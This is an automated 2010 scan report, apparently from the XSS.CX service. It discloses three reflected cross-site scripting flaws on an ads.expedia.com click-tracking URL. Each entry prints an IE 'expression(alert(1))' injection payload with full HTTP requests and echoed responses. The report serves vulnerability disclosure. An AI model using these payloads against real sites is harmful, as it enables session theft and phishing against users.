Report generated by XSS.CX at Sun Nov 14 11:24:53 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

Loading

1.1. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [90c0a%3Cx%20style%3dx%3aexpression(alert(1))%3Ee6b9a955e04 parameter]

1.2. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [90c0ae6b9a955e04 parameter]

1.3. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [90c0a%3Cx%20style%3dx%3aexpression(alert(1))%3Ee6b9a955e04 parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.expedia.com
Path:   /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=

Issue detail

The value of the 90c0a%3Cx%20style%3dx%3aexpression(alert(1))%3Ee6b9a955e04 request parameter is copied into the HTML document as plain text between tags. The payload b36f0<x%20style%3dx%3aexpression(alert(1))>56376c5ecf9 was submitted in the 90c0a%3Cx%20style%3dx%3aexpression(alert(1))%3Ee6b9a955e04 parameter. This input was echoed as b36f0<x style=x:expression(alert(1))>56376c5ecf9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=?90c0a%3Cx%20style%3dx%3aexpression(alert(1))%3Ee6b9a955e04=1b36f0<x%20style%3dx%3aexpression(alert(1))>56376c5ecf9 HTTP/1.1
Host: ads.expedia.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: MC1=GUID=236C6364572F46E7A7BAC58E9FC28421; U9Z5=0; s_vi=[CS]v1|266F7BD785011501-60000115E0003749[CE]; aspp=v.1,0|META.kayak.Comp.PKG.kayak_front_door_unchecked.April2010campaign|||||||||MDP|20101213|; lsrc=v.1,11/27/2010; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01C2F3E258hR$D9$0C$1DF$36$7FBKA$CA$B6oV$37a$B1$5Ew0$CB$A4cA$D8`gacct=v.1,2,215568760`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`167; MediaCookie=0`711,681,PDEST,BOS`711,681,PDEST,LAX

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 13 Nov 2010 22:04:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: 12-May-2001 12:28:18 GMT
Content-Type: text/html

<!-- v1.1.3188.33477 /event.cms/Type=click&FlightID=152020&TargetID=39690&Segments=?90c0a<x style=x:expression(alert(1))>e6b9a955e04=1b36f0<x style=x:expression(alert(1))>56376c5ecf9&AdID=240622&tile=f78bebfa-025d-4784-9d54-94963684daf1 -->
...[SNIP]...

1.2. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [90c0ae6b9a955e04 parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.expedia.com
Path:   /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=

Issue detail

The value of the 90c0a<x%20style%3dx%3aexpression(alert(1))>e6b9a955e04 request parameter is copied into the HTML document as plain text between tags. The payload dfb87<x%20style%3dx%3aexpression(alert(1))>2357c9ed4c0 was submitted in the 90c0a<x%20style%3dx%3aexpression(alert(1))>e6b9a955e04 parameter. This input was echoed as dfb87<x style=x:expression(alert(1))>2357c9ed4c0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=?90c0a<x%20style%3dx%3aexpression(alert(1))>e6b9a955e04=1dfb87<x%20style%3dx%3aexpression(alert(1))>2357c9ed4c0 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: ads.expedia.com
Cookie: U9Z5=CT

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 13 Nov 2010 22:04:03 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: 12-May-2001 12:28:18 GMT
Content-Type: text/html

<!-- v1.1.3188.33477 /event.cms/Type=click&FlightID=152020&TargetID=39690&Segments=?90c0a<x style=x:expression(alert(1))>e6b9a955e04=1dfb87<x style=x:expression(alert(1))>2357c9ed4c0&AdID=240622&tile=06cab69a-e88b-47cd-b1da-84bb8cfff38e -->
...[SNIP]...

1.3. http://ads.expedia.com/event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments= [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://ads.expedia.com
Path:   /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 90c0a<x%20style%3dx%3aexpression(alert(1))>e6b9a955e04 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 90c0a<x style=x:expression(alert(1))>e6b9a955e04 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /event.ng/Type=click&FlightID=152020&AdID=240622&TargetID=39690&Segments=?90c0a<x%20style%3dx%3aexpression(alert(1))>e6b9a955e04=1 HTTP/1.1
Host: ads.expedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 13 Nov 2010 21:52:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Expires: 12-May-2001 12:28:18 GMT
Content-Type: text/html

<!-- v1.1.3188.33477 /event.cms/Type=click&FlightID=152020&TargetID=39690&Segments=?90c0a<x style=x:expression(alert(1))>e6b9a955e04=1&AdID=240622&tile=c6ae051a-79fe-44b0-9d64-d7c6fe79d44d --><!-- Err
...[SNIP]...

Report generated by XSS.CX at Sun Nov 14 11:24:53 CST 2010.